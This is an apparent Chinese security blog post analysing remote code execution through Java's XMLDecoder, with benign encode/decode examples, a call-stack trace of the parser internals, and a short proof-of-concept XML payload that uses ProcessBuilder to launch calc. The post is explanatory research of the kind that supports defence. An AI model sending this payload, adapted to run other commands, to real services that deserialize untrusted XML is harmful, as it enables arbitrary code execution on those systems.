Loading

XmlDecoder Rce 简单分析

0x01 简介

关于xmldecoder&xmlencoder,首先看网络上的解释

默认的 Java 序列化将 Java 对象转换为字节以通过网络发送。 但是很多时候,您将需要更多的跨平台媒体来发送此信息,例如 XML,以便使用不同技术的应用程序也可以利用此序列化信息的优势。

通俗一点讲,序列化就是把java内存中的对象序列化成可传输或存储的xml数据,反序列化即前面所述过程反过来。其形式跟fastjson差不多,只不过一个是json一个是xml。底层原理调用有点复杂,这篇文章没有完全剖析底层代码,只大概了解一下。

0x02 一个简单的🌰

大部分场景下的Xml Encoder和Decoder(抄了网上一个例子)

XmlEncoder

//XmlEncoder
public class App 
{
    public static void main( String[] args )
    {

        HashMap<Object, Object> map = new HashMap<>();
        map.put("name","test");
        map.put("array",new ArrayList<>());

        XMLEncoder xmlEncoder = new XMLEncoder(System.out);
        xmlEncoder.writeObject(map);
        xmlEncoder.close();
    }
}

打印结果为

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0" class="java.beans.XMLDecoder">
 <object class="java.util.HashMap">
  <void method="put">
   <string>array</string>
   <object class="java.util.ArrayList"/>
  </void>
  <void method="put">
   <string>name</string>
   <string>test</string>
  </void>
 </object>
</java>

XmlDecoder

public class App
{
    public static void main( String[] args ) throws UnsupportedEncodingException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<java version=\"1.8.0\" class=\"java.beans.XMLDecoder\">\n" +
                " <object class=\"java.util.HashMap\">\n" +
                "  <void method=\"put\">\n" +
                "   <string>array</string>\n" +
                "   <object class=\"java.util.ArrayList\"/>\n" +
                "  </void>\n" +
                "  <void method=\"put\">\n" +
                "   <string>name</string>\n" +
                "   <string>test</string>\n" +
                "  </void>\n" +
                " </object>\n" +
                "</java>";
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(xml.getBytes("utf-8"));
        XMLDecoder xmlDecoder = new XMLDecoder(byteArrayInputStream);
        Object o = xmlDecoder.readObject();
        System.out.println(o);

    }
}

打印结果为

{array=[], name=test}

Xml分析

大概梳理了下结构,整个序列化的数据是包裹在<java>标签之下的,object标签表示一个对象,其中class表示需要类,method表示方法名,其中string标签和object标签表示该数据的类型,除此以外还有int标签等等。详情可参考这篇文档XMLEncoder_Java API中文文档

0x03 一个XmlDecoder Rce的🌰

根据前面XmlDecoder的例子对poc进行复制黏贴改造(至于为啥不能直接生成,我试过,直接调用ProcessBuilder,但是生成失败,暂时找不到原因)

<java version="1.7.0_80" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

0x04 XmlDecoder原理

1、new XmlDecoder()

的操作只是在调用其构造方法,并将需要反序列化的xml字节流进行赋值。

image-20210206231049373

初始化阶段只是做了一个简单的赋值操作

image-20210206232155127

2、xmlDecoder.readObject()

跟进readObject,该调用连大概如下

getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1781, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2957, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:649, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:333, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:75, ProtectionDomain$1 (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
decoder1:64, App (org.example)
main:31, App (org.example)

其中XML11Configuration 的parse方法为解析

image-20210207110128209

通过scanDocument扫描该XML代码并为反序列化做准备。XMLDocumentScannerImpl 的next方法中进行扫描

image-20210208143707117

根据扫描结果进行对象创建或者方法调用等等

image-20210208143833246

参考

https://xz.aliyun.com/t/8039

https://www.freebuf.com/articles/network/247331.html

http://itmyhome.com/java-api/java/beans/XMLEncoder.html

posted @ 2021-02-09 00:47  0x28  阅读(321)  评论(0编辑  收藏  举报